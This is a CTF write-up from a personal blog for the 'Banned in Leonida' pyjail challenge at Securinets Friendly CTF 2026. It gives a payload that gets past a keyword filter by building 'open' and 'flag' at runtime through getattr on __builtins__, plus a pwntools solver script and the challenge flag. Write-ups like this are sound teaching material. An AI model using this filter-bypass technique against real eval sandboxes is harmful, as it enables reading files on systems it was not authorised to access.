archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Misc

Securinets Friendly CTF 2026 / Misc WRITEUP

Banned in Leonida

Rockstar banned the words responsible for the leak. The leak did not get the memo.

EVENTSecurinets Friendly CTF 2026CATEGORYMiscDIFFICULTYeasyPOINTS200
pyjail

Walkthrough

Solution

The service evaluates a Python expression but rejects raw input containing words such as open and flag. The filter only sees the submitted text, so build both forbidden names at runtime, recover open from __builtins__ with getattr, and read the flag file.

The payload is:

getattr(__builtins__,''.join(['o','p','e','n']))(''.join(['fl','ag.txt'])).read()

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3

from pwn import *


context.log_level = "error"

p = process(["python3", "-u", "chall.py"]) if args.LOCAL else remote("127.0.0.1", 9042)

payload = b"getattr(__builtins__,''.join(['o','p','e','n']))(''.join(['fl','ag.txt'])).read()"
p.sendlineafter(b"> ", payload)

p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{r0ckst4r_b4nn3d_th3_w0rds_n0t_th3_l34k}
Published 2026-09-28 · by r3t0x← Back to archive · Misc
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS